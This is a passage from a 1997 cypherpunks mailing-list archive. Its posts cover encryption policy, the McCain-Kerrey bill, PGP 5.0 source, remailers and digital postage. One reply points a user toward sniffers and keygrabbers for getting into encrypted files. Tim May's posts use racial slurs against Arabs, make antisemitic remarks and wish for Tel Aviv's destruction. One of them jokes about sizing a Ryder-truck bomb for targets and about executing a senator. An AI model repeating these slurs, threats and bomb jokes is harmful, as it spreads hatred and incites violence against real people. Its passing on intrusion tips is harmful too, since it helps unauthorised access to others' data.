Now I was wondering whether we could somehow fool this encryption system
to get to the encrypted material without using the key. It could possibly
be done in many ways:


*	The key has to be stored somewhere in the file, in whatever form,
with which the entered key is compared. It could somehow be gotten hold
of from there. Perhaps a hex editor could be used to scan the first few
bytes of a file for the key.

*	The decryption algorithm/source could be modified to give access
even for a bad password.

*	During the process that the decryptor asks for the input of the
key, we could somehow break out of the routine and bypass it to get to the
contents of the file.


Do you have any ideas about how this could be done? Or is it even possible
theoretically? Any other workarounds you can think of?



Au revoir,
Wasim Q. Malik






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 23 Jun 1997 04:15:56 +0800
To: cypherpunks@Algebra.COM
Subject: Hettinga's e$yllogism
In-Reply-To: <3.0.32.19691231160000.006c4dd0@best.com>
Message-ID: <v03020929afd325266f9d@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:34 pm -0400 on 6/22/97, geeman@best.com wrote:


> What's necessary here is a knowledgeable application of the same
> techniques, a coalition
> organization comprised of large business interests with an awareness of how
> Bad this all is,
> competing on the same turf.
>
> Noble anarchist or Constitutional arguments, whining about our Rights and
> such, are
> insignificant and irrelevant to the players.
>
> Who will belly up to the bar and provide leadership on terms that will
> truly be effective?


You rang? (He said, feeling particularly ambitious on a rainy June afternoon)

You don't need an organization, a simple angry swarm of the right players
is just fine, preferrably large commercial ones.

You just need to tell them that S909 will kill the commercial internet, and
all the billions that have been invested in it.


The big stick to smack the hive with, the argument to present to those
people who have the most to lose, is the following, if I may quote myself
from several places this week :-):

>  Said syllogistically,
>
>  Digital Commerce *is* Financial Cryptography,
>  Financial Cryptography *is* Strong Cryptography,
>  therefore,
>  Digital Commerce *is* Strong Cryptography.
>  and, therefore,
>  No Strong Cryptography, no Digital Commerce.
>
>
>  Instructions for the use of this syllogism:
>
>    Invite 'em to a presentation.
>
>    Use one proposition per slide, with nothing on the slide but the
>    proposition, centered vertically and horizontally. Don't make handouts.
>
>    Put up the first slide, and defend the proposition.
>    Repeat until last slide.
>
>    Ask for questions.

I will deliver the above talk to anyone who pays my travel expenses and can
get butts in the seats to hear it. The "right" butts or no, you never know
who knows somebody else.

You buy, I fly. If anyone *else* wants to make the above presentation, and
save the air and hotel bill, feel free. Practically *anyone* on this list
knows how to more than adequately defend each of those propositions against
all comers, foreign and domestic. :-).


Now, then. When do we get started?

Cheers,
Bob Hettinga


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 23 Jun 1997 03:40:11 +0800
To: cypherpunks@toad.com
Subject: McCain's War for Security
Message-ID: <1.5.4.32.19970622192626.006d1514@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



The New York Times Magazine had a feature story on 
Senator McCain a week or two ago which covered in
detail his personal, military and political history and his
heroic struggle to meet the high standards set by his 
admiral father, the Navy and individual ethics. 

His long imprisonment by the North Vietnamese due to 
a refusal to be released as the well-known son of a 
prominent admiral was cited as an example of his 
duty to to put national interests above his own.

This iconic treatment of a national hero is worth pondering
for the way it reveals what Tim calls "the fix is in."

The imposition of protective measures often occurs through
those with impeccable credentials, especially by appealing to 
the ones who believe that their special role is to rise above ordinary 
struggles and dispense exceptional wisdom, fairness and
justice.

The question on McCain is: has he been sold on the threat to 
national security of cryptography by appealing to his deep 
patriotism, his belief in a special duty to protect the nation, to 
fight its "war" with the day's enemies.

Such feeding of grandiloquence is historical practice of the
Richlieus running the government, raiding the till, commanding 
the academies, distributing authorizations to placate antsy 
kings-in-queue.

The cariacature of this are "banana republics" where
military and political saviors justify coups in the name
of the "public interest," or "the people," fairly well in accord
with threats to authority.

Military, naval and governmental academies worldwide teach this
belief in the special duty of public servants, notwithstanding the
evidence that some graduates reap the not-so-public rewards.

As amply displayed in S.936, the National Defense Authorization
Act for FY 1998, the perennial US banana republic raid on
the till. 

Read it to see who McCain thinks are the nation's enemies and 
protectors and who are the supreme judges of both.

What's not as well publicized about leadership academies of all
kinds is that they also teach (and practice) the Machiavellian wisdom 
of most stringent laws and harshest enforcement for challenges to 
the authority to govern, to tax, to command, to rule. To assure 
"national security" for those who thrive on it.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: iang@cs.berkeley.edu (Ian Goldberg)
Date: Mon, 23 Jun 1997 00:06:51 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Party on IRC
In-Reply-To: <3.0.2.32.19970621023432.0077a4ac@popd.ix.netcom.com>
Message-ID: <5oji4p$n0q@abraham.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



In article <Pine.BSI.3.95.970622053011.19903A-100000@alpha>,
John A. Perry <perry@alpha.jpunix.com> wrote:
>I believe it uses the crypt(3) function for encryption.

It can't use crypt(3), as that's more of a hash function than a cipher,
and one would hope it doesn't use crypt(1) (though I wouldn't be very
surprised).

   - Ian





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Mon, 23 Jun 1997 07:43:08 +0800
To: cypherpunks@cyberpass.net
Subject: CP uses for the PGP 5.0 source
Message-ID: <v03102800afd3687f206a@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



With the on-line availability of PGP 5.0 source code expected any day,
perhaps the group should consider what CP goals can now be made practical.
Hopefully, PGP will not object to CP uses.  I submit the following as CP
projects which could be substantially eased by the source code:

EMAIL PLUG-INS
PGP 5.0 contains some very good code examples for creating email plug-ins
for Microsoft Exchange for Windows 95 and Windows NT 4.0, Microsoft Outlook
for Windows 95 and Windows NT 4.0, Eudora Pro/Light for Windows 95, Windows
NT 4.0, Macintosh, Claris Emailer for Mac only.  For cross-platform ease, I
suggest we tackle the Eudora emailers, which have a well defined API, first.

1. Remailer:  One reason remailers haven't been as popular as we've hoped
is the need to operate separate, sometime difficult to use, remailer client
software.  By integrating these and other functions into plug-ins, creation
of persistant identities and integration with key generation and management
can be simplified.

2. Digital postage: CPs can gain the high-ground in the battle for handling
the SPAM problem by offering plug-ins which enforce restrictions on
incoming mail using digital postage.  Two postage approaches have been
discussed on the CP lists: ecash and hashcash.  I suggest that the plug-ins
offer both d-postage forms.

Hashcash is eligent in its simplicity and its lack of a required central
clearing facility. Hascash-based d-postage could also seed the development
of commercial distributed computing Net industry, as SPAMers elect to
purchase hashcash rather than generating it themselves-the idea isn't to
eliminate SPAM, just place it on similar economic footing with junk
snailmail. Adam Back has already done a considerable amount of
investigation of ways to implement hascash (See
http://www.dcs.ex.ac.uk/~aba/hashcash/).

ECash could really supply an economic shot in the arm for remailers, making
possible commercial (read profitable) remailers.  It will also offer a
ready-made market for accountless ecash, which will be available soon.
Jeremey Barrett's higher level ecash API should greatly simplify ecash
integration.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 23 Jun 1997 08:11:49 +0800
To: Steve Schear <cypherpunks@cyberpass.net
Subject: Re: CP uses for the PGP 5.0 source
In-Reply-To: <v03102800afd3687f206a@[10.0.2.15]>
Message-ID: <3.0.2.32.19970622170551.0076d690@netcom9.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 04:41 PM 6/22/97 -0700, Steve Schear wrote:
>1. Remailer:  One reason remailers haven't been as popular as we've hoped
>is the need to operate separate, sometime difficult to use, remailer client
>software.  By integrating these and other functions into plug-ins, creation
>of persistant identities and integration with key generation and management
>can be simplified.

Type I remailers were a nice proof of concept. Nothing more. What you want
is a Mixmaster client similar to PGP 5.0. I doubt the PGP source will be of
much help for this task.

>2. Digital postage: 

Has nothing to do with PGP. A different problem entirely.

[...]
>ECash could really supply an economic shot in the arm for remailers, making
>possible commercial (read profitable) remailers.  It will also offer a
>ready-made market for accountless ecash, which will be available soon.
>Jeremey Barrett's higher level ecash API should greatly simplify ecash
>integration.

Amen. What's the ETA?

Thanks,

--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Mon, 23 Jun 1997 08:16:13 +0800
To: "Wasim Q. Malik" <wmalik@sdnpk.undp.org>
Subject: Re: Decrypting DES
In-Reply-To: <Pine.LNX.3.95.970622144439.10853D-100000@sdnpk.undp.org>
Message-ID: <Pine.LNX.3.91.970622171143.170B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> *	The key has to be stored somewhere in the file, in whatever form,
> with which the entered key is compared. It could somehow be gotten hold
> of from there. Perhaps a hex editor could be used to scan the first few
> bytes of a file for the key.

No, the keys are not stored in the files in anything worth it`s salt, and 
if it is a passwd file it`ll be hashed anyway.

Depends entirely on the software, there are freely available crackers for 
files from a lot of micro$oft stuff, and some other popular programs such 
as pkzip etc... Otherwise get a good cryptgrapher to look at the 
software, run a sniffer on the network, a keygrabber on the machine, or 
give up.

For a good introduction covering much of the stuff you need try the 
sci.crypt FAQ.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 23 Jun 1997 02:07:15 +0800
To: whgiii@amaranth.com
Subject: why no more RSA keys? (was Re: how to `go underground')
In-Reply-To: <199706221457.JAA05804@mailhub.amaranth.com>
Message-ID: <199706221642.RAA00341@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




William Geiger <whgiii@amaranth.com> writes:
> Adam Back <aba@dcs.ex.ac.uk> said:
> 
> >Also, I hear that PGP3.x has support for RSA keys, but won't generate
> >them?  Perhaps we can add that back in also.
> 
> I believe that it is only the freeware PGP 5.0 from the MIT site that has
> RSA key generation disabled. The commercial version should be able to
> generate both key formats.

I've got a copy of PGP 5.0, and yes, it can generate RSA keys also.

I was really quite unclear as to why the freeware one should have
reduced functionality, and as we are finally going to get source code,
I figured it'd be easy to rememdy this deficiency.

Still, I am curious as to why this might be.

One guesses it might have something to do with PGP's financial
interest to move the internet user base away from RSA keys towards El
Gamal/DSS key pairs, so that they can remove RSA backwards
compatibility from the commercial versions, if it comes to that.
(Re. patent and licesning hassles from the litigious legal-beagles at
RSA).  Perhaps.

Clarification welcomed.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 23 Jun 1997 07:04:24 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Hettinga's e$yllogism
In-Reply-To: <199706222220.AAA26096@basement.replay.com>
Message-ID: <199706222256.RAA10176@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199706222220.AAA26096@basement.replay.com>, on 06/23/97 
   at 12:20 AM, nobody@REPLAY.COM (Anonymous) said:

>>  Digital Commerce *is* Financial Cryptography,
>>  Financial Cryptography *is* Strong Cryptography,
>>  therefore,
>>  Digital Commerce *is* Strong Cryptography.
>>  and, therefore,
>>  No Strong Cryptography, no Digital Commerce.

>Why can't escrowed ecash support digital commerce?  Strong crypto with a
>government backdoor.  That's what you're offered.  Prove it can't work.

Because no one with any sence is going to trust their finacial
transactions to third party access and minipulation.

Just think of that postal worker that threw away the mail because he was
too lazy to deliver it or the clerk at the DMV that makes you wait for
hours on end just to renew you DL. Do you really trust these people with
access to your $$$$?


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM62uoo9Co1n+aLhhAQGy+QP/SaMnJNDAWQMyudJAi1sI8HEwGTDGooNo
1vtQikZSqIqDLV/69CG/Exgj6ouWrBcqL5HvRX6UrG5qItzREbhYRuO9DOds6U4n
yBiY54KZULLXtXPTLcehK8hOgErOcwIccNy7AHS/qsI7urVzn6sBiXPWmv+UoCR+
2qzaY1fumXU=
=Y1SO
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 23 Jun 1997 06:13:44 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Dirty hands kill more people (80K/yr) than guns (FWD)
In-Reply-To: <3.0.2.32.19970622125957.03d22100@mail.teleport.com>
Message-ID: <v0302094cafd350f872e6@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:14 pm -0400 on 6/22/97, Bill Stewart wrote:


> Also, there's an obvious extension to gun registration,
> which is the requirement to provide several bullets shot
> with each of your guns, so they can do ballistics checks later.

It's my understanding that this is half next to useless because all you
have to do is go out and fire a few thousand (hundred?) rounds and the
ballistics change...

Since the first thing you should do after you get a gun is fire a few
thousand rounds through it, anyway, no problem, right?

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Mon, 23 Jun 1997 10:19:46 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Sources for stego images, was re: Laying PipeNet
In-Reply-To: <v03102802afd305494670@[207.167.93.63]>
Message-ID: <v03102804afd38b324730@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>That's the major problem with images, you need to generate your own.
>Unless you fancy writing an image enhancement system, and analyse the
>algorithms in existing systems to ensure that randomness is
>introduced.
>

There are plenty of Net-cams watching traffic or sunsets around the world.
Since these images tend to change a bit from frame to frame they could
cheaply and reliably provide the sorts of images which are ideal for stego.
I'm not sure if you can frame-grab from such a changing Web page with the
current browser features, but this should be a significant hurdle.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Mon, 23 Jun 1997 10:28:17 +0800
To: Jason William RENNIE <jrennie@hardy.ocs.mq.edu.au>
Subject: Re: spam on this list
Message-ID: <199706230222.TAA04375@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain



On or About 23 Jun 97 at 11:26, Jason William RENNIE wrote:

> NO i dont wish to post any, i just want to know if this list has
> spam sent to it ?? I started reciveing various pieces in the last
> couple of days and i'm trying to identify the source. 

Spam *is* free speech, you know. <g>

Ross


=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 23 Jun 1997 04:52:01 +0800
To: tcmay@got.net
Subject: Re: cypherpunks coding challenge
In-Reply-To: <v03102801afd30380db10@[207.167.93.63]>
Message-ID: <199706221823.TAA00771@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Tim May <tcmay@got.net> writes:
> At 2:38 AM -0700 6/22/97, Adam Back wrote:
> >So... how about a code writing challenge, an award for the best
> >cypherpunk project every month.  (No monetary prize, just vote on list
> >to decide most significant project).
> >
> >Perhaps a list of how many lines of code.  A hall of fame if you like:
> >
> >% wc -l `find . -name \*.h -print -o -name \*.c -print`
> >
> >Eric Young		SSL-eay		101,721 lines
> >PGP Inc			pgp30		    (?) lines
> >Phil Zimmermann & co	pgp263		 34,891 lines
> ....
> 
> Not to be tedious about this, but why would "lines of code" be an
> interesting metric?
>
> I'm reminded of a cartoon showing a Russian factory winning the "greatest
> tonnage of screws produced," with a crane lifting a massive, 100 meter long
> screw above the factory. The dangers of the wrong metric.
> 
> I think we need a few major innovations more than some number of
> lines of code.

Well, personally I'm not that bothered about line counts (good code
tends to be smaller than sprawling badly written redundant stuff,
anyhow).  But what I am bothered about is that not that much in the
way of cypherpunks apps are getting written, and that PGP Inc, aren't
going to write them for us, because they won't sell to fortune 100
mega-corps.

> (No, I'm not a programmer. But I've done a few "hacks" which were
> interesting and useful, I think. Taking readily available stuff, "BlackNet"
> made the concrete point that data havens and anonymous markets already are
> possible. Number of lines of code written: zero. The task is to combine
> some of the existing tools into new things. Raw lines of code is not
> necessarily useful.)

Indeed.  I was going to include a line count of your cyphernomicon,
but I appear to have mislaid my gzipped copy.

The part about a cypherpunks award for most significant project of the
month was the meat of the post.  I speculate that a web page with
tabulated wish lists (from list discussion), where these are ticked
off as done, etc might be some encouragement.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 23 Jun 1997 10:29:00 +0800
To: cypherpunks@Algebra.COM
Subject: The Zionist Entity a good place to do crypto?
In-Reply-To: <v0310281cafd1ba6444d6@[207.167.93.63]>
Message-ID: <v03102800afd38c550105@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:41 PM -0700 6/22/97, William H. Geiger III wrote:

>In <v0310281cafd1ba6444d6@[207.167.93.63]>, on 06/21/97

>To bad Israel is so dependant on US $$$ I wouldn't mind going back there
>and setting up shop. Alot of intresting crypto work is being done there.
>Of cource with Palasinian "problem" I have no ideal what their current
>export/remailer stance is.

Israel? I don't get the joke....

Israel is a controlling, f$sc%st state in many ways. (I typed "f$sc%st"
because many are unreasonably offended when the f-word is used in
conjuction with the Zionist Entity.)

Look into IDF control of most of the leading Israeli electronics companies.
Look into Shin Bet, Mossad, the Pollard case, Dimona, and so on.

Also, Israel is one of the world's major "soft targets." Look to see Tel
Aviv vaporized one of these days. A nation formed by stealing land from
"sand niggers" (what the Brits called Arabs) and having these sand niggers
only a few miles across a poor geographic barrier....the very definition of
a soft target.

As for a lot of "interesting work," there is no doubt that Shamir and his
students are doing wonderful work. One genius and his team do not make up
for the many other problems with Israel.

(If the Germans are able to get Scientology declared to be a dangerous
cult, partly because of its violent activities and its strange beliefs,
can't they have Judaism similarly declared to be an illegal cult? A cult
which believes God gave them some land, and that Jews born in Poland,
Russia, Lithuania, and not having any ancestors in Palestine for 1000 or
2000 or more years (or never), have a religious right to kick the sand
niggers off their farms in Haifa....sounds worse than Scientology. By the
way, I strongly disagree with  the German assault on Scientology....I have
told my good friend Keith Henson that his battle with Scientology is
dangerous.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 23 Jun 1997 11:37:16 +0800
To: cypherpunks@Algebra.COM
Subject: Bomb-making instructions....
Message-ID: <v03102802afd39c88cf3c@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




The latest crime for which Senator Diane Swinestein has earned the
[CENSORED] is her "bomb-making instructions on the Internet are illegal"
bill.

But I have a question. Does this mean CNN will face prosecution if it
publishes the transcripts of the McVeigh case?

Keith Henson, an explosives enthusiast since the early 1960s, was
describing to us last night at a Silicon Valley party just how accurate the
instructions were in the transcripts of the McVeigh trial, as the experts
pointed out the steps needed to make the liquid explosive "Astrolight" (or
"Astrolite"). Keith pointed out that most of the "lay" reports had repeated
some of the usual lay errors about ammonium nitrate and fuel oil bombs, but
that the full court transcript "got it right" on the conversion of the
precursors to the more effective liquid form. It was Keith who raised the
issue of the Swinestein bill making publication of court transcripts a
crime...sort of collides with the notion of open trials....

(This party was a regular plotting opportunity...we figured out just how
big a Ryder truck has to be to hold the "ergs" needed to take down some
targets that sorely need taking down...all in theory, you understand.)

We need to hold a trial for this bitch. Then a quick trip to the firewall.



--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 23 Jun 1997 11:42:40 +0800
To: Steve Schear <azur@netcom.com>
Subject: Re: Sources for stego images, was re: Laying PipeNet
In-Reply-To: <199706222045.VAA00836@server.test.net>
Message-ID: <3.0.2.32.19970622203437.0069aa98@netcom9.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 07:18 PM 6/22/97 -0700, Steve Schear wrote:
>There are plenty of Net-cams watching traffic or sunsets around the world.
>Since these images tend to change a bit from frame to frame they could
>cheaply and reliably provide the sorts of images which are ideal for stego.

Take a look at iSpy, webcam software for Win95/NT. http://www.ispy.nl/

BTW, iSpy was written by Marcel van der Peijl, former head of development
at DigiCash.

--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 23 Jun 1997 11:50:55 +0800
To: Jason William RENNIE <jrennie@hardy.ocs.mq.edu.au>
Subject: Re: spam on this list
In-Reply-To: <199706230222.TAA04375@adnetsol.adnetsol.com>
Message-ID: <v03102803afd39f286d13@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:51 PM -0700 6/22/97, Jason William RENNIE wrote:

>Thats fine but, i dont want to be invited to look at nasty naked
>cheerleaders. And isn't it somewhat problematic when a 15 yr old looks at
>the mail box ?? BEsides i hate junk mail too, and if i could stick a no
>junk mail sticker on my email i would.

You're on the wrong list. We favor free speech, including inviting
15-year-olds to look at pictures of their choosing on the Net. They don't
_have_ to look, after all.

Perhaps you should join forces with Sen. McCain and Sen. Feinswine, or your
versions in your own country. Or move to Iran. Or something.


--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 23 Jun 1997 09:46:40 +0800
To: Tim May <tcmay@got.net>
Subject: Re: The Global Fix is In
In-Reply-To: <v0310281cafd1ba6444d6@[207.167.93.63]>
Message-ID: <199706230140.UAA11813@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v0310281cafd1ba6444d6@[207.167.93.63]>, on 06/21/97 
   at 10:16 AM, Tim May <tcmay@got.net> said:

>It's not hopeless. Physical havens are vulnerable, to all sorts of
>pressures (I doubt many cryptographers want to set up shop in Libya or
>Iraq, not that these places would be hospitable to Cypherpunks sorts of
>goals and methods).

To bad Israel is so dependant on US $$$ I wouldn't mind going back there
and setting up shop. Alot of intresting crypto work is being done there.
Of cource with Palasinian "problem" I have no ideal what their current
export/remailer stance is.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM63U/49Co1n+aLhhAQGP1wQAyXldUetUa5omquNkKbUS5nVvc3iIoQqh
DkRcPjiWMnhjXcIdkCiqNG9lEpVAM/RLahs8MlpX+ROhtHrq1Nt8h+P+h9/Aq3Ov
xEH3QExCc3LmaotXWm+ibyCpnaUTwcOjIAUcDNk7YqBADSGqFqBqi5sg3wFRl26d
bYLQN4gYguw=
=hv0W
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Mon, 23 Jun 1997 12:08:36 +0800
To: cypherpunks@toad.com
Subject: Washington Post says McCain-Kerrey bill "raises red flags"
Message-ID: <Pine.GSO.3.95.970622205241.23363I-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Sun, 22 Jun 1997 20:52:08 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: Washington Post says McCain-Kerrey bill "raises red flags"

The Washington Post has a long history of endorsing the
Clinton administration's position on export controls of
encryption products. On June 10, 1996 the paper
editorialized that "national security and law enforcement
questions remain too important to be sacrificed lightly."
On July 27, 1996: "Congress should be exceedingly cautious
about getting out ahead of administration concerns on
controls." "Unbreakable codes on the loose strike us as a
real danger, a legitimate reason for tight export
controls," the Post said on October 4, 1996 -- worrying
the White House wasn't strict enough -- and again last month.

But even the Post couldn't quite stomach the McCain-Kerrey
bill that the Senate Commerce committee approved last week.
In an editorial today, the Post said:

	...the McCain-Kerrey legislation goes the
	other way, seeking to expand such
	restrictions to cover most of the uses of
	encryption software in the United States.
	That proposal raises red flags even if you
	believe, as we do, that there are
	legitimate national security and law
	enforcement reasons for controlling the
	diffusion of such `robust' coding software
	overseas.

Below I've attached five Washington Post editorials
on encryption. Thanks to Alan Olsen, Peter Trei,
and especially John Young for holding on to these
editorials and sending them to me.
	
-Declan

---

Senate Commerce committee and McCain-Kerrey bill:

  http://www.jya.com/declan3.txt

  http://www.jya.com/declan2.txt

Problems with SAFE and ProCODE:

  http://cgi.pathfinder.com/netly/editorial/0,1012,1022,00.html

Kerrey crypto-bill:

  http://cgi.pathfinder.com/netly/editorial/0,1012,931,00.html

------

Net Tangle on Privacy
   
   Sunday, June 22, 1997; Page C06
   The Washington Post
   
   
   PITY THE senator or representative who still hasn't quite mastered the
   details of how the Internet works, or the difference between the World
   Wide Web and e-mail. On the Net-related issues that, by all
   indications, draw the most urgent public interest -- those relating to
   privacy protection -- there are now multiple clumps of competing
   bills, whose differences are both highly important and highly
   technical.
   
   Three of these involve different strategies to curb junk e-mail; two,
   diametrically opposed, concern encryption. All these bills are
   tangential, strictly speaking, to the basic concern expressed at
   hearings before the Federal Trade Commission: how to safeguard
   personal and sensitive data about yourself once it gets into the hands
   of institutions and third parties. (The commission itself is weighing
   whether to recommend such legislation based on what it heard.) But any
   of them could powerfully affect future privacy protection.
   
   A striking example is the newest bill on encryption, sponsored by
   Sens. Robert Kerrey and John McCain, which the Senate Commerce
